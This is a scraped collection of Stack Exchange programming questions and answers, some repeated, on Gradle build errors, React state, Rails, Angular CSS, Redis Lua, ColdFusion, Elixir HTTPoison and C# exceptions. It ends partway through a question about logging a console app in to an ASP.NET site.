问:
Error after updating buildToolsVersion to '26.0.2'
I have updated buildToolsVersion to '26.0.2' in the project and now I'm getting such error, when trying to build release apk. Any ideas how to solve it?

com.android.ide.common.process.ProcessException: Error while executing
  process /Users/Iryna/Library/Android/sdk/build-tools/26.0.2/aapt with
  arguments {package -f --no-crunch -I
  /Users/Iryna/Library/Android/sdk/platforms/android-25/android.jar -M
  /Users/Iryna/Documents/Projects/xxx/mobile/android/app/build/intermediates/manifests/full/release/AndroidManifest.xml
  -S /Users/Iryna/Documents/Projects/xxx/mobile/android/app/build/intermediates/res/merged/release
  -m -J

I have tried come back to the old version (25.0.0) of build tools, but if I'm decreasing it, I'm getting gradle error:

Could not find method implementation() for arguments
  [com.google.firebase:firebase-core:11.6.0] on object of type
  org.gradle.api.internal.artifacts.dsl.dependencies.DefaultDependencyHandler.
  Open
  File

build.gradle app

```<code>android {
    compileSdkVersion 25
    buildToolsVersion '26.0.2'

    defaultConfig {
        applicationId "com.cityfalcon"
        minSdkVersion 17
        targetSdkVersion 23
        versionCode 10
        versionName "1.8"
        multiDexEnabled true
        vectorDrawables.useSupportLibrary true
        ndk {
            abiFilters "armeabi-v7a", "x86"
        }
    }
    signingConfigs {
        debug {
            storeFile file(XXX_RELEASE_STORE_FILE)
            storePassword XXX_RELEASE_STORE_PASSWORD
            keyAlias XXX_RELEASE_KEY_ALIAS
            keyPassword XXX_RELEASE_KEY_PASSWORD
        }
        release {
            storeFile file(XXX_RELEASE_STORE_FILE)
            storePassword XXX_RELEASE_STORE_PASSWORD
            keyAlias XXX_RELEASE_KEY_ALIAS
            keyPassword XXX_RELEASE_KEY_PASSWORD
        }
    }
    splits {
        abi {
            reset()
            enable enableSeparateBuildPerCPUArchitecture
            universalApk false  // If true, also generate a universal APK
            include "armeabi-v7a", "x86"
        }
    }
    buildTypes {
        debug {
            signingConfig signingConfigs.debug
            debuggable false
        }
        release {
            minifyEnabled enableProguardInReleaseBuilds
            proguardFiles getDefaultProguardFile("proguard-android.txt"), "proguard-rules.pro"
            signingConfig signingConfigs.release
        }
    }
    // applicationVariants are e.g. debug, release
    applicationVariants.all { variant ->
        variant.outputs.each { output ->
            // For each separate APK per architecture, set a unique version code as described here:
            // http://tools.android.com/tech-docs/new-build-system/user-guide/apk-splits
            def versionCodes = ["armeabi-v7a": 1, "x86": 2]
            def abi = output.getFilter(OutputFile.ABI)
            if (abi != null) {  // null for the universal-debug, universal-release variants
                output.versionCodeOverride =
                        versionCodes.get(abi) * 1048576 + defaultConfig.versionCode
            }
        }
    }
}

dependencies {
    implementation 'com.google.firebase:firebase-core:11.6.0'
    implementation 'com.google.firebase:firebase-crash:11.6.0'
    compile project(':react-native-linkedin-login')
    compile project(':react-native-twitter-signin')
    compile project(':react-native-google-signin')
    compile project(':react-native-fbsdk')
    compile project(':react-native-spinkit')
    compile project(':react-native-linear-gradient')
    compile('com.twitter.sdk.android:twitter:2.3.2@aar') {
        transitive = true;
    }
    compile fileTree(include: ['*.jar'], dir: 'libs')
    compile 'com.android.support:appcompat-v7:25.0.0'
    compile 'com.android.support:design:25.0.0'
    compile 'com.facebook.react:react-native:0.39.2'
    // From node_modules
    compile 'com.instabug.library:instabug:4.0.8'
    compile(project(':react-native-google-signin')) {
        exclude group: "com.google.android.gms" // very important
    }
    compile 'org.piwik.sdk:piwik-sdk:1.0.2'
    compile 'com.google.android.gms:play-services:11.6.0'
    compile 'com.newrelic.agent.android:android-agent:5.12.0'
}

// Run this once to be able to run the application with BUCK
// puts all compile dependencies into folder libs for BUCK to use
task copyDownloadableDepsToLibs(type: Copy) {
    from configurations.compile
    into 'libs'
}
apply plugin: 'com.android.application'

repositories {
    maven { url 'https://maven.fabric.io/public' }
}

// Put Fabric plugin after Android plugin
apply plugin: 'io.fabric'
apply plugin: 'com.google.gms.google-services'
</code>```

build.gradle project:

```<code>buildscript {
    repositories {
        jcenter()
        maven { url 'https://maven.fabric.io/public' }
        google()
    }
    dependencies {
        classpath 'com.android.tools.build:gradle:3.0.0'
        classpath 'com.google.gms:google-services:3.1.0'
        // NOTE: Do not place your application dependencies here; they belong
        // in the individual module build.gradle files
        classpath 'io.fabric.tools:gradle:1.22.2'
        classpath "com.newrelic.agent.android:agent-gradle-plugin:5.12.0"
    }
}

allprojects {
    repositories {
        mavenLocal()
        jcenter()
        maven {
            url "https://jitpack.io"
        }
        maven { url 'https://maven.fabric.io/public' }
        maven {
            // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm
            url "$rootDir/../node_modules/react-native/android"
        }
        google()
    }

}
</code>```

答:
I have tried come back to the old version (25.0.0) of build tools, but if I'm decreasing it, I'm getting gradle error:

Could not find method implementation() for arguments

for old version (25.0.0) use compile instead of implementation

```<code>compile 'com.google.firebase:firebase-core:11.6.0'
compile 'com.google.firebase:firebase-crash:11.6.0'
</code>```

Body:
I have updated buildToolsVersion to '26.0.2' in the project and now I'm getting such error, when trying to build release apk. Any ideas how to solve it?

com.android.ide.common.process.ProcessException: Error while executing
  process /Users/Iryna/Library/Android/sdk/build-tools/26.0.2/aapt with
  arguments {package -f --no-crunch -I
  /Users/Iryna/Library/Android/sdk/platforms/android-25/android.jar -M
  /Users/Iryna/Documents/Projects/xxx/mobile/android/app/build/intermediates/manifests/full/release/AndroidManifest.xml
  -S /Users/Iryna/Documents/Projects/xxx/mobile/android/app/build/intermediates/res/merged/release
  -m -J

I have tried come back to the old version (25.0.0) of build tools, but if I'm decreasing it, I'm getting gradle error:

Could not find method implementation() for arguments
  [com.google.firebase:firebase-core:11.6.0] on object of type
  org.gradle.api.internal.artifacts.dsl.dependencies.DefaultDependencyHandler.
  Open
  File

build.gradle app

android {
    compileSdkVersion 25
    buildToolsVersion '26.0.2'

    defaultConfig {
        applicationId "com.cityfalcon"
        minSdkVersion 17
        targetSdkVersion 23
        versionCode 10
        versionName "1.8"
        multiDexEnabled true
        vectorDrawables.useSupportLibrary true
        ndk {
            abiFilters "armeabi-v7a", "x86"
        }
    }
    signingConfigs {
        debug {
            storeFile file(XXX_RELEASE_STORE_FILE)
            storePassword XXX_RELEASE_STORE_PASSWORD
            keyAlias XXX_RELEASE_KEY_ALIAS
            keyPassword XXX_RELEASE_KEY_PASSWORD
        }
        release {
            storeFile file(XXX_RELEASE_STORE_FILE)
            storePassword XXX_RELEASE_STORE_PASSWORD
            keyAlias XXX_RELEASE_KEY_ALIAS
            keyPassword XXX_RELEASE_KEY_PASSWORD
        }
    }
    splits {
        abi {
            reset()
            enable enableSeparateBuildPerCPUArchitecture
            universalApk false  // If true, also generate a universal APK
            include "armeabi-v7a", "x86"
        }
    }
    buildTypes {
        debug {
            signingConfig signingConfigs.debug
            debuggable false
        }
        release {
            minifyEnabled enableProguardInReleaseBuilds
            proguardFiles getDefaultProguardFile("proguard-android.txt"), "proguard-rules.pro"
            signingConfig signingConfigs.release
        }
    }
    // applicationVariants are e.g. debug, release
    applicationVariants.all { variant ->
        variant.outputs.each { output ->
            // For each separate APK per architecture, set a unique version code as described here:
            // http://tools.android.com/tech-docs/new-build-system/user-guide/apk-splits
            def versionCodes = ["armeabi-v7a": 1, "x86": 2]
            def abi = output.getFilter(OutputFile.ABI)
            if (abi != null) {  // null for the universal-debug, universal-release variants
                output.versionCodeOverride =
                        versionCodes.get(abi) * 1048576 + defaultConfig.versionCode
            }
        }
    }
}

dependencies {
    implementation 'com.google.firebase:firebase-core:11.6.0'
    implementation 'com.google.firebase:firebase-crash:11.6.0'
    compile project(':react-native-linkedin-login')
    compile project(':react-native-twitter-signin')
    compile project(':react-native-google-signin')
    compile project(':react-native-fbsdk')
    compile project(':react-native-spinkit')
    compile project(':react-native-linear-gradient')
    compile('com.twitter.sdk.android:twitter:2.3.2@aar') {
        transitive = true;
    }
    compile fileTree(include: ['*.jar'], dir: 'libs')
    compile 'com.android.support:appcompat-v7:25.0.0'
    compile 'com.android.support:design:25.0.0'
    compile 'com.facebook.react:react-native:0.39.2'
    // From node_modules
    compile 'com.instabug.library:instabug:4.0.8'
    compile(project(':react-native-google-signin')) {
        exclude group: "com.google.android.gms" // very important
    }
    compile 'org.piwik.sdk:piwik-sdk:1.0.2'
    compile 'com.google.android.gms:play-services:11.6.0'
    compile 'com.newrelic.agent.android:android-agent:5.12.0'
}

// Run this once to be able to run the application with BUCK
// puts all compile dependencies into folder libs for BUCK to use
task copyDownloadableDepsToLibs(type: Copy) {
    from configurations.compile
    into 'libs'
}
apply plugin: 'com.android.application'

repositories {
    maven { url 'https://maven.fabric.io/public' }
}

// Put Fabric plugin after Android plugin
apply plugin: 'io.fabric'
apply plugin: 'com.google.gms.google-services'

build.gradle project:

buildscript {
    repositories {
        jcenter()
        maven { url 'https://maven.fabric.io/public' }
        google()
    }
    dependencies {
        classpath 'com.android.tools.build:gradle:3.0.0'
        classpath 'com.google.gms:google-services:3.1.0'
        // NOTE: Do not place your application dependencies here; they belong
        // in the individual module build.gradle files
        classpath 'io.fabric.tools:gradle:1.22.2'
        classpath "com.newrelic.agent.android:agent-gradle-plugin:5.12.0"
    }
}

allprojects {
    repositories {
        mavenLocal()
        jcenter()
        maven {
            url "https://jitpack.io"
        }
        maven { url 'https://maven.fabric.io/public' }
        maven {
            // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm
            url "$rootDir/../node_modules/react-native/android"
        }
        google()
    }

}

Body:
I have tried come back to the old version (25.0.0) of build tools, but if I'm decreasing it, I'm getting gradle error:

Could not find method implementation() for arguments

for old version (25.0.0) use compile instead of implementation

compile 'com.google.firebase:firebase-core:11.6.0'
compile 'com.google.firebase:firebase-crash:11.6.0'


来源: stackexchange

问:
React - toggle color for adjacent elements
I'm creating a gameBoard, and having trouble toggling background colors for button divs. The toggle works for individual clicks on the "buttons" (styled divs), but when I click adjacent buttons it requires two clicks to get the next button to change its background color. How can I get adjacent buttons to toggle on first click? I've read some  related posts like (Changing style of a button on click) but still struggling to get this working -

Related code below,
full code: https://jsfiddle.net/lydiademi/kt2qgfpr/

TY!

```<code>class App extends React.Component {

  constructor(props) {
  super(props)

  this.state = {
    color: '#FFF',
    color_white: true,
    currentWord: '',
    board1: [],
    row1: ["aaafrs","aaeeee","aafirs","adennn","aeeeem"],
  }

  this.clicked = this.clicked.bind(this);
}

componentWillMount() {
  let letter1 = '';

  this.state.row1.forEach(die => {
    letter1 = die[Math.floor(Math.random() * 6)].toUpperCase();
    if (letter1 === 'Q') {
      this.state.board1.push("Qu")
    } else {
      this.state.board1.push(letter1);
    }
  })
}

clicked(event) {
  //change background color
  let newColor= this.state.color === "#FFF" ? "#ACCEEC" : "#FFF";
  this.setState({ color: newColor });
  event.target.style.backgroundColor = newColor;
}

render () {
  return (
   <div id="board">
      <div className="row">
        {

          this.state.board1.map((letter, index) => {
          return (
            <div className="btn" onClick={(e) => {this.clicked(e)}}>
              {letter}
            </div>
          )
        })}
      </div>
  )
}
</code>```

答:
Issue is :

You are maintaining one variable for all the elements bg toggle,
So the code is working as it should,

There is no need for maintaining state for that.

What you can do is :

Set extra attribute data-color like this

```<code><div className="btn" data-color='#FFF' onClick={(e) => {this.clicked(e)}}>
</code>```

And change bg color and attr based upon data-color , onClick like this

```<code>clicked(event) {

    // get current color of element
    let currentColor = event.target.attributes['data-color'].value;

    // apply condition based upon currentColor
    let newColor = currentColor === "#FFF" ? "#ACCEEC" : "#FFF";

    // set the bg color
    event.target.style.backgroundColor = newColor;

    // change the data-color value to currentColor
    event.target.setAttribute('data-color' , newColor);

    // add letter to state.currentWord
    let letter = event.target.innerText;
    this.setState({ currentWord: this.state.currentWord + letter })
}
</code>```

Here is the link to working fiddle :

https://jsfiddle.net/vivekdoshi2/kt2qgfpr/2/

ContentLicense: CC BY-SA 3.0

Body:
I'm creating a gameBoard, and having trouble toggling background colors for button divs. The toggle works for individual clicks on the "buttons" (styled divs), but when I click adjacent buttons it requires two clicks to get the next button to change its background color. How can I get adjacent buttons to toggle on first click? I've read some  related posts like (Changing style of a button on click) but still struggling to get this working -

Related code below,
full code: https://jsfiddle.net/lydiademi/kt2qgfpr/

TY!

class App extends React.Component {

  constructor(props) {
  super(props)

  this.state = {
    color: '#FFF',
    color_white: true,
    currentWord: '',
    board1: [],
    row1: ["aaafrs","aaeeee","aafirs","adennn","aeeeem"],
  }

  this.clicked = this.clicked.bind(this);
}

componentWillMount() {
  let letter1 = '';

  this.state.row1.forEach(die => {
    letter1 = die[Math.floor(Math.random() * 6)].toUpperCase();
    if (letter1 === 'Q') {
      this.state.board1.push("Qu")
    } else {
      this.state.board1.push(letter1);
    }
  })
}

clicked(event) {
  //change background color
  let newColor= this.state.color === "#FFF" ? "#ACCEEC" : "#FFF";
  this.setState({ color: newColor });
  event.target.style.backgroundColor = newColor;
}

render () {
  return (

        {

          this.state.board1.map((letter, index) => {
          return (

 {this.clicked(e)}}>
              {letter}

          )
        })}

  )
}

Body:
Issue is :

You are maintaining one variable for all the elements bg toggle,
So the code is working as it should,

There is no need for maintaining state for that.

What you can do is :

Set extra attribute data-color like this

<div className="btn" data-color='#FFF' onClick={(e) => {this.clicked(e)}}>

And change bg color and attr based upon data-color , onClick like this

clicked(event) {

    // get current color of element
    let currentColor = event.target.attributes['data-color'].value;

    // apply condition based upon currentColor
    let newColor = currentColor === "#FFF" ? "#ACCEEC" : "#FFF";

    // set the bg color
    event.target.style.backgroundColor = newColor;

    // change the data-color value to currentColor
    event.target.setAttribute('data-color' , newColor);

    // add letter to state.currentWord
    let letter = event.target.innerText;
    this.setState({ currentWord: this.state.currentWord + letter })
}

Here is the link to working fiddle :

https://jsfiddle.net/vivekdoshi2/kt2qgfpr/2/


问:
Trying to save JSON data to database
I'm not sure what I'm missing, but the following code below isn't saving to my database. I'm using rails 5.1.4 and ruby 2.4.1. I have no controller or views and using Mysql if that's of any help.

Model

```<code>class Agent < ApplicationRecord

  json = JSON.parse('{"Agents":[{"firstName":"John","lastName":"Smith","id":"57fa5f47-8851-11e7-b391-02cbcf8dd991"},{"firstName":"Alice","lastName":"Thompson","id":"77eccb07-101d-11e7-83be-02e5025d7d75"}]}')

  json['Agents'].each do |data|
    Agent.create(
    id: data['id'],
    first_name: data['firstName'],
    last_name: data['lastName']
  )
  end

end
</code>```

Schema

```<code>create_table "agents", id: :string, limit: 36, force: :cascade, options: "ENGINE=InnoDB DEFAULT CHARSET=utf8" do |t|
    t.string "first_name"
    t.string "last_name"
  end
</code>```

答:
As Gokul M pointed out, firstName and lastName need to be snake-cased to match your schema.  However, your code still will not work, because :id is a protected attribute in ActiveRecord models.  Meaning that it can’t be mass-assigned.  You can however assign it normally. i.e model.id=foo

So you could try something like

```<code>json['Agents'].each do |data|
  agent = Agent.new
  agent.id = data['id']
  agent.first_name = data['firstName']
  agent.last_name = data['lastName']
  agent.save
end
</code>```

Though, I haven’t tested this code.

Title: Trying to save JSON data to database

Body:
I'm not sure what I'm missing, but the following code below isn't saving to my database. I'm using rails 5.1.4 and ruby 2.4.1. I have no controller or views and using Mysql if that's of any help.

Model

class Agent < ApplicationRecord

  json = JSON.parse('{"Agents":[{"firstName":"John","lastName":"Smith","id":"57fa5f47-8851-11e7-b391-02cbcf8dd991"},{"firstName":"Alice","lastName":"Thompson","id":"77eccb07-101d-11e7-83be-02e5025d7d75"}]}')

  json['Agents'].each do |data|
    Agent.create(
    id: data['id'],
    first_name: data['firstName'],
    last_name: data['lastName']
  )
  end

end

Schema

create_table "agents", id: :string, limit: 36, force: :cascade, options: "ENGINE=InnoDB DEFAULT CHARSET=utf8" do |t|
    t.string "first_name"
    t.string "last_name"
  end

Body:
As Gokul M pointed out, firstName and lastName need to be snake-cased to match your schema.  However, your code still will not work, because :id is a protected attribute in ActiveRecord models.  Meaning that it can’t be mass-assigned.  You can however assign it normally. i.e model.id=foo

So you could try something like

json['Agents'].each do |data|
  agent = Agent.new
  agent.id = data['id']
  agent.first_name = data['firstName']
  agent.last_name = data['lastName']
  agent.save
end

Though, I haven’t tested this code.


问:
using /deep/ in angular 4 componet.css causes other components to use the same style. How to solve it?
Note: I use css with angular4 not scss.

to be more specific,

my number.component.css has,

/deep/ .mat-drawer-content{
 height:100vh;
}

other component.css has doesn't has .mat-drawer-content class but it is common to all the views. It generated by angular-material2.

Problem is when i route to number.component and check all the other components also get height:100vh; so it causes my views to break. For now only solution I have is to remove the style parts with /deep/ and go for another solution.

If anyone knows how to keep that style only to that component please tell me.

(only css with /deep/ causes this issue)

You can see it here reproduced only used height for demonstration purpose.

答: Went so close with Gunter's answer and still couldn't resolve it. To resolve I changed the way I styled my app so it won't be a problem. </p>


问:
variable === undefined vs. typeof variable === "undefined"
The jQuery Core Style Guidelines suggest two different ways to check whether a variable is defined.

Global Variables: typeof variable === "undefined"

Local Variables: variable === undefined

Properties: object.prop === undefined

Why does jQuery use one approach for global variables and another for locals and properties?

答:
For undeclared variables, typeof foo will return the string literal "undefined", whereas the identity check foo === undefined would trigger the error "foo is not defined".

For local variables (which you know are declared somewhere), no such error would occur, hence the identity check.

ContentLicense: CC BY-SA 4.0


问:
Getting error: Wrong number of args calling Redis command From Lua script
I wanted to test out Lua scripting with Redis but I keep getting error messages for the simplest commands.

Here is a screenshot:

Why does this simple command say that I don't provide enough arguments?

答:
I don't see any error running this code on a pre-release of v3.2:

```<code>redis.call("ZADD", "user", 1, "one")
return redis.call("ZRANGE", "user", 0, -1)
</code>```

I get one printed to the Output window. I do get the same error if I skip one of the parameters in ZADD or ZRANGE calls, for example when trying to run redis.call("ZADD", "user", 1).

Body:
I don't see any error running this code on a pre-release of v3.2:

redis.call("ZADD", "user", 1, "one")
return redis.call("ZRANGE", "user", 0, -1)

I get one printed to the Output window. I do get the same error if I skip one of the parameters in ZADD or ZRANGE calls, for example when trying to run redis.call("ZADD", "user", 1).


问:
How to work out which frameworks are triggering privacy-sensitive .plist issues
I've got the classic problem of iTunes rejecting my .ipa because it's missing a bunch of .plist entries for 'privacy-senstive data' (in my case calendar, contacts, microphone, Apple Music and Siri!), despite my app having nothing to do with these frameworks.

I want to work out which 3rd party frameworks in my app are triggering this problem, rather than take the easy way out and just add the .plist entries.

Is there a way to analyse your .ipa or the files it contains to work out which 3rd party dependency is causing this issue?

Just to be clear, I understand I could just add the required .plist entries and this problem would go away - my question is specifically how to work out which dependencies are triggering this problem.

答:
despite my app having nothing to do with these frameworks.

Is your Link Behavior in your release configuration set to Don't Link?

If so, the non-stripped Xamarin.iOS.dll references everything and will cause all kinds of privacy/entitlement issues just due to the fact that your app is linked to them but actually never uses them.

The default Release configuration used to be Link Framework SDKs Only (-linksdk) but in the recent releases that does not seem to be the case even though the documentation states that it is.

Change the behavior to Link Framework SDKs Only, create another archive and ipa and see if Apple likes that version ;-)


问:
Prevent YES/NO values to convert to true/false Coldfusion 9?
I have the form where user have to select the value from the list. List is created by administrators. In one of the lists there is an option for user to pick NO value that stands for some reserved code. Something like Not Occupied. So I use JQuery and AJAX to communicate with the server. On the back end I use ColdFusion 9 on my production server. So in order to bring back NO I have to convert that to 'NO ' with the space. If I don't do this function will return false value on the client side. Here is example of my code conversion:

```<code><cfset convertYesNo = {
    YES : "YES ",
    NO : "NO "
}>

<cfset qryRecs['value'] = URLEncodedFormat(structKeyExists(convertYesNo, myInfo[CurrentRow]) ? convertYesNo[myInfo[CurrentRow]] : myInfo[CurrentRow])>
</code>```

Code above worked fine on my development site. The only difference is that on development we have ColdFusion 10 and on the live we have ColdFusion 9. So once I moved the code to live I started getting error message:

```<code>ColdFusion was looking at the following text:<p>{</p><p>The CFML compiler was processing:<ul><li>A cfset tag beginning on line 1071, column 18.<li>A cfset tag beginning on line 1071, column 18.

```1069 :         }>
1070 :
1071 :       <cfset convertYesNo = {
1072 :          "Yes" : "Yes ",
1073 :          "No" : "No "
```
</code>```

I have tried to put quotes around YES and NO but that did not help. If anyone knows the way how to fix this problem please let me know. thanks in advance!

答:
<cfset qryRecs['value'] = URLEncodedFormat(structKeyExists(convertYesNo, myInfo[CurrentRow]) ? convertYesNo[myInfo[CurrentRow]] : myInfo[CurrentRow])>

Structs (HashTables) are great at fast finding of keys, but you only have 2 key here, so a much more efficient construct would be (example in cfscript syntax):

```<code>qryRecs['value'] = URLEncodedFormat(
    listFindNoCase("YES,NO", myInfo[CurrentRow]) ?
        uCase(myInfo[CurrentRow]) & " "
            :
        myInfo[CurrentRow]
);
</code>```

Though for better readability and code maintenance you should consider to break it into multiple statements:

```<code>value = myInfo[CurrentRow];
if (value == "YES" || value == "NO")          // use EQ operator in CFML syntax
    value = uCase(value) & " ";

qryRecs['value'] = URLEncodedFormat(value);
</code>```

Body:
I have the form where user have to select the value from the list. List is created by administrators. In one of the lists there is an option for user to pick NO value that stands for some reserved code. Something like Not Occupied. So I use JQuery and AJAX to communicate with the server. On the back end I use ColdFusion 9 on my production server. So in order to bring back NO I have to convert that to 'NO ' with the space. If I don't do this function will return false value on the client side. Here is example of my code conversion:

<cfset convertYesNo = {
    YES : "YES ",
    NO : "NO "
}>

<cfset qryRecs['value'] = URLEncodedFormat(structKeyExists(convertYesNo, myInfo[CurrentRow]) ? convertYesNo[myInfo[CurrentRow]] : myInfo[CurrentRow])>

Code above worked fine on my development site. The only difference is that on development we have ColdFusion 10 and on the live we have ColdFusion 9. So once I moved the code to live I started getting error message:

ColdFusion was looking at the following text:
{

The CFML compiler was processing:

A cfset tag beginning on line 1071, column 18.
A cfset tag beginning on line 1071, column 18.

1069 :         }>
1070 :
1071 :       <cfset convertYesNo = {
1072 :          "Yes" : "Yes ",
1073 :          "No" : "No "

I have tried to put quotes around YES and NO but that did not help. If anyone knows the way how to fix this problem please let me know. thanks in advance!

Body:
<cfset qryRecs['value'] = URLEncodedFormat(structKeyExists(convertYesNo, myInfo[CurrentRow]) ? convertYesNo[myInfo[CurrentRow]] : myInfo[CurrentRow])>

Structs (HashTables) are great at fast finding of keys, but you only have 2 key here, so a much more efficient construct would be (example in cfscript syntax):

qryRecs['value'] = URLEncodedFormat(
    listFindNoCase("YES,NO", myInfo[CurrentRow]) ?
        uCase(myInfo[CurrentRow]) & " "
            :
        myInfo[CurrentRow]
);

Though for better readability and code maintenance you should consider to break it into multiple statements:

value = myInfo[CurrentRow];
if (value == "YES" || value == "NO")          // use EQ operator in CFML syntax
    value = uCase(value) & " ";

qryRecs['value'] = URLEncodedFormat(value);


问:
Pattern matching HTTPoison.Response
I'm trying handle the response from an API call using HTTPoison

In my app context I have

def add_to_cart(data, user) do
  case HTTPoison.post!(
      "https://api.moltin.com/v2/carts/" <> user <>
      "/items", data,
      [{"Authorization",
        "Bearer #{Agent.get(:token, fn state -> state end)}"},
       {"Content-Type", "application/json"}] do

    {:ok, %HTTPoison.Response{status_code: 201, body: body}} ->
      case Poison.decode(body) do
        {:ok, decoded} -> decoded
        {:error, error} -> {:error, error}
      end

    {:ok, %HTTPoison.Response{status_code: 404}} ->
      IO.puts "Not found :("

    {:error, %HTTPoison.Error{reason: reason}} ->
      IO.inspect reason

  end
end
```

<p>The error I return is:</p>

<pre class="lang-rb prettyprint-override"><code>CaseClauseError at POST /order
no case clause matching: %HTTPoison.Response{response content}
</code>```

I have used this pattern elsewhere in my code and it matches fine but when I place it here, it doesn't seem to work.

I'm sure this isn't enough information with which to work but I'm not sure at this point what else to put.  Any guidance would be appreciated.

答:
According to that error message you don't need the :ok and :error atoms in your tuples, try changing them from:

```<code>{:ok, %HTTPoison.Response{status_code: 201, body: body}} -> #...
{:error, %HTTPoison.Error{reason: reason}} -> #...
</code>```

To:

```<code>%HTTPoison.Response{status_code: 201, body: body} -> #...
%HTTPoison.Error{reason: reason} -> #...
</code>```

I think in other places in your app you are probably using post/4 instead of post!/4, post/4 (without the !) returns the tuple with the :ok atom, while post post!/4 (with the !) kind of assumes that everything will work, doesn't return an atom in the tuple, and will throw an exception if something goes wrong.

Title: Pattern matching HTTPoison.Response

Body:
I'm trying handle the response from an API call using HTTPoison

In my app context I have

def add_to_cart(data, user) do
  case HTTPoison.post!(
      "https://api.moltin.com/v2/carts/" <> user <>
      "/items", data,
      [{"Authorization",
        "Bearer #{Agent.get(:token, fn state -> state end)}"},
       {"Content-Type", "application/json"}] do

    {:ok, %HTTPoison.Response{status_code: 201, body: body}} ->
      case Poison.decode(body) do
        {:ok, decoded} -> decoded
        {:error, error} -> {:error, error}
      end

    {:ok, %HTTPoison.Response{status_code: 404}} ->
      IO.puts "Not found :("

    {:error, %HTTPoison.Error{reason: reason}} ->
      IO.inspect reason

  end
end

The error I return is:

CaseClauseError at POST /order
no case clause matching: %HTTPoison.Response{response content}

I have used this pattern elsewhere in my code and it matches fine but when I place it here, it doesn't seem to work.

I'm sure this isn't enough information with which to work but I'm not sure at this point what else to put.  Any guidance would be appreciated.

Body:
According to that error message you don't need the :ok and :error atoms in your tuples, try changing them from:

{:ok, %HTTPoison.Response{status_code: 201, body: body}} -> #...
{:error, %HTTPoison.Error{reason: reason}} -> #...

To:

%HTTPoison.Response{status_code: 201, body: body} -> #...
%HTTPoison.Error{reason: reason} -> #...

I think in other places in your app you are probably using post/4 instead of post!/4, post/4 (without the !) returns the tuple with the :ok atom, while post post!/4 (with the !) kind of assumes that everything will work, doesn't return an atom in the tuple, and will throw an exception if something goes wrong.


问:
How to exit while loop on certain condition and exception handling for invalid values
This is homework, so I'm just looking for some guidance. I have my code working to return a value in an array[10] based on an index value given by the user.

What isn't working is that I need to stop the program when "99" is entered, a value that also triggers the try-catch IndexOutOfRangeException. I can't get the program to recognize the difference between "99" and any other out of range value. I did try it with an if-else, but "99" still threw the IndexOutOfRangeException and it wouldn't loop. An attempt at do-while also didn't work.

Code is below. Thanks in advance.

```<code>using System;
using static System.Console;

class SubscriptExceptionTest
{
static void Main()
{
    double[] array = {20.3, 44.6, 32.5, 46.7, 89.6, 67.5, 12.3, 14.6, 22.1, 13.6};

    int i = 0;

    while (i != 99)
        try
        {

            Write("Enter a number to see the value in that position. Type 99 to stop: ");
            i = Convert.ToInt32(ReadLine());

            double arrayVal = array[i];
            WriteLine("The value at index {0} is {1}", i, arrayVal);
            ReadLine();
        }
        catch (FormatException fe)
        {
            throw new FormatException("You did not enter an integer.");
        }
        catch (IndexOutOfRangeException ie)
        {
            throw new IndexOutOfRangeException("Index was outside the bounds of the array.");
        }
        catch (Exception ex)
        {
            throw new Exception("Error: " + ex.Message);
        }
    }
}
</code>```

答:
The problem is once you are catching IndexOutOfRangeException you are again throwing it inside the catch block which is not handled anywhere in the code.

The other problem is that you are not checking for the value of i for 99  before using it for accessing it in the array which leads to Exception.

See below -

```<code>int i = 0;

while (i != 99)
    try
                {

                    Write("Enter a number to see the value in that position. Type 99 to stop: ");
                    i = Convert.ToInt32(ReadLine());
                    if(i == 99) {
                      Console.WriteLine("Thanks!!, Breaking here!!!");
                      break;
                    }
                    double arrayVal = array[i];
                    WriteLine("The value at index {0} is {1}", i, arrayVal);
                    ReadLine();
                }

                catch (FormatException fe)
                {
                    throw new FormatException("You did not enter an integer.");
                }

                catch (IndexOutOfRangeException ie)
                {
                    // Show some message here
                }

}
</code>```

Body:
This is homework, so I'm just looking for some guidance. I have my code working to return a value in an array[10] based on an index value given by the user.

What isn't working is that I need to stop the program when "99" is entered, a value that also triggers the try-catch IndexOutOfRangeException. I can't get the program to recognize the difference between "99" and any other out of range value. I did try it with an if-else, but "99" still threw the IndexOutOfRangeException and it wouldn't loop. An attempt at do-while also didn't work.

Code is below. Thanks in advance.

using System;
using static System.Console;

class SubscriptExceptionTest
{
static void Main()
{
    double[] array = {20.3, 44.6, 32.5, 46.7, 89.6, 67.5, 12.3, 14.6, 22.1, 13.6};

    int i = 0;

    while (i != 99)
        try
        {

            Write("Enter a number to see the value in that position. Type 99 to stop: ");
            i = Convert.ToInt32(ReadLine());

            double arrayVal = array[i];
            WriteLine("The value at index {0} is {1}", i, arrayVal);
            ReadLine();
        }
        catch (FormatException fe)
        {
            throw new FormatException("You did not enter an integer.");
        }
        catch (IndexOutOfRangeException ie)
        {
            throw new IndexOutOfRangeException("Index was outside the bounds of the array.");
        }
        catch (Exception ex)
        {
            throw new Exception("Error: " + ex.Message);
        }
    }
}

Body:
The problem is once you are catching IndexOutOfRangeException you are again throwing it inside the catch block which is not handled anywhere in the code.

The other problem is that you are not checking for the value of i for 99  before using it for accessing it in the array which leads to Exception.

See below -

int i = 0;

while (i != 99)
    try
                {

                    Write("Enter a number to see the value in that position. Type 99 to stop: ");
                    i = Convert.ToInt32(ReadLine());
                    if(i == 99) {
                      Console.WriteLine("Thanks!!, Breaking here!!!");
                      break;
                    }
                    double arrayVal = array[i];
                    WriteLine("The value at index {0} is {1}", i, arrayVal);
                    ReadLine();
                }

                catch (FormatException fe)
                {
                    throw new FormatException("You did not enter an integer.");
                }

                catch (IndexOutOfRangeException ie)
                {
                    // Show some message here
                }

}


问:
ASP.NET Authorization from Console Application & Timeout
For what its worth, I managed to get a console application to authenticate itself with an existing ASP.NET web application. It just mimics the login page by making a post request to the login page containing the viewstate information (just as if a browser had made the request).

It then catches the cookie sent back in response in a CookieContainer.

The application then goes on to make multiple requests to the same page (which requires authorization). The page does some work and writes out a file on the server.

The problem I'm encountering is that after the phony login, the first two requests go through okay. The third request never even receives a response. Below is the code I'm using to make the requests:

To login:

```<code>private static CookieContainer PerformLoginRequest()
{
    string loginURL = "http://www.myDomain.com/mySite/login.aspx";

    //Set up the request and give it a cookie container.
    CookieContainer cookieJar = new CookieContainer();
    HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(loginURL);
    request.CookieContainer = cookieJar;
    request.Method = "POST";
    request.ContentType = "application/x-www-form-urlencoded";

    //Grab the request body so we can put important information in it.
    Stream requestBody = request.GetRequestStream();
